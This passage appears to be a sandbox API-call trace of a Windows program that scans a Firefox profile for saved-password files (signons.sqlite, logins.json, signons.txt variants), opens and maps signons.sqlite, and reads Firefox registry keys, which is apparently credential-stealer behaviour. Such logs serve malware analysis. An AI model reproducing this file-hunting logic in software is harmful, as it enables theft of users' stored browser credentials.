(lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0048.029] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0048.030] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.030] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0048.030] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0048.030] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.030] lstrlenA (lpString="\\") returned 1 [0048.030] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.030] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.030] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.030] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.030] lstrlenA (lpString="minidumps") returned 9 [0048.030] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fd68 [0048.030] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.030] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.030] LocalFree (hMem=0x74fc88) returned 0x0 [0048.030] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned 91 [0048.030] lstrlenA (lpString="\\*.*") returned 4 [0048.030] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fe50 [0048.030] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.030] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.030] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.030] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.030] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.030] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.030] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.030] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.030] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.030] LocalFree (hMem=0x74fe50) returned 0x0 [0048.030] LocalFree (hMem=0x74fd68) returned 0x0 [0048.030] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.030] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.030] lstrlenA (lpString="parent.lock") returned 11 [0048.030] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.030] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.031] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.031] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.031] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.031] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.031] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.031] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.031] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.031] lstrlenA (lpString="places.sqlite") returned 13 [0048.031] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.031] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.031] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.031] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.031] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.031] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.031] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.031] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.031] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.031] lstrlenA (lpString="prefs.js") returned 8 [0048.031] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.031] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.031] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.031] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.031] lstrlenA (lpString="search.json") returned 11 [0048.031] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.031] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.031] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.032] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.032] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.032] lstrlenA (lpString="secmod.db") returned 9 [0048.032] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.032] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.032] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.032] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.032] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.032] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.032] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.032] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.032] lstrlenA (lpString="sessionstore.js") returned 15 [0048.032] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.032] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.032] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.032] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.032] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.032] lstrlenA (lpString="\\") returned 1 [0048.032] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.032] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.032] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.032] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.032] lstrlenA (lpString="signons.sqlite") returned 14 [0048.032] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.032] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.032] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.032] LocalFree (hMem=0x74fc88) returned 0x0 [0048.032] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0048.032] CloseHandle (hObject=0x3b0) returned 1 [0048.032] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.033] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.033] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.033] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0048.033] CloseHandle (hObject=0x3b0) returned 1 [0048.033] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0048.033] GetFileSize (in: hFile=0x3b0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.033] CreateFileMappingA (hFile=0x3b0, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3b8 [0048.033] MapViewOfFile (hFileMappingObject=0x3b8, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.035] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.036] CloseHandle (hObject=0x3b8) returned 1 [0048.036] CloseHandle (hObject=0x3b0) returned 1 [0048.036] LocalFree (hMem=0x74da88) returned 0x0 [0048.036] LocalFree (hMem=0x74d998) returned 0x0 [0048.036] lstrlenA (lpString="signons.sqlite") returned 14 [0048.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.036] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.036] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.036] lstrlenA (lpString="times.json") returned 10 [0048.036] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.036] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.036] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.036] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.036] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.036] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.036] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.036] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.036] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.036] lstrlenA (lpString="\\") returned 1 [0048.036] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0048.036] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.037] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.037] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.037] lstrlenA (lpString="webapps") returned 7 [0048.037] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fd68 [0048.037] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.037] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.037] LocalFree (hMem=0x74fc88) returned 0x0 [0048.037] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.037] lstrlenA (lpString="\\*.*") returned 4 [0048.037] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x74fe50 [0048.037] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.037] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.037] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0x72dd90 [0048.037] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.037] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.037] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.037] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.037] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 1 [0048.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.037] lstrlenA (lpString="webapps.json") returned 12 [0048.037] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.037] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.037] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5fc | out: lpFindFileData=0xef5fc) returned 0 [0048.037] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.037] LocalFree (hMem=0x74fe50) returned 0x0 [0048.037] LocalFree (hMem=0x74fd68) returned 0x0 [0048.037] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 1 [0048.037] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.037] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.037] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.037] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.037] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.037] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.037] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef764 | out: lpFindFileData=0xef764) returned 0 [0048.037] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.037] LocalFree (hMem=0x74fba8) returned 0x0 [0048.037] LocalFree (hMem=0x746ac0) returned 0x0 [0048.037] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef8cc | out: lpFindFileData=0xef8cc) returned 0 [0048.037] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.037] LocalFree (hMem=0x74d860) returned 0x0 [0048.038] LocalFree (hMem=0x745b68) returned 0x0 [0048.038] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 1 [0048.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0048.038] lstrlenA (lpString="profiles.ini") returned 12 [0048.038] StrStrIA (lpFirst="profiles.ini", lpSrch="logins.json") returned 0x0 [0048.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0048.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0048.038] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0048.038] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa34 | out: lpFindFileData=0xefa34) returned 0 [0048.038] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.038] LocalFree (hMem=0x74a738) returned 0x0 [0048.038] LocalFree (hMem=0x74a670) returned 0x0 [0048.038] LocalFree (hMem=0x7568e0) returned 0x0 [0048.038] LocalFree (hMem=0x756820) returned 0x0 [0048.038] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b090 [0048.038] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\bin", phkResult=0xefbe4 | out: phkResult=0xefbe4*=0x398) returned 0x0 [0048.038] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x0, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.038] RegCloseKey (hKey=0x398) returned 0x0 [0048.038] LocalFree (hMem=0x75b090) returned 0x0 [0048.038] LocalFree (hMem=0x7508d8) returned 0x0 [0048.038] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="extensions", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.038] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0") returned 37 [0048.038] lstrlenA (lpString="\\") returned 1 [0048.038] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x7548d0 [0048.038] lstrcpyA (in: lpString1=0x7548d0, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0") returned="Software\\Mozilla\\Mozilla Firefox 25.0" [0048.038] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.038] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned 38 [0048.038] lstrlenA (lpString="extensions") returned 10 [0048.038] LocalAlloc (uFlags=0x40, uBytes=0xb1) returned 0x756820 [0048.038] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox 25.0\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\" [0048.038] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\", lpString2="extensions" | out: lpString1="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions") returned="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions" [0048.038] LocalFree (hMem=0x7548d0) returned 0x0 [0048.038] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", lpSrch="Firefox") returned="Firefox 25.0\\extensions" [0048.038] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox 25.0\\extensions", ulOptions=0x0, samDesired=0x20019, 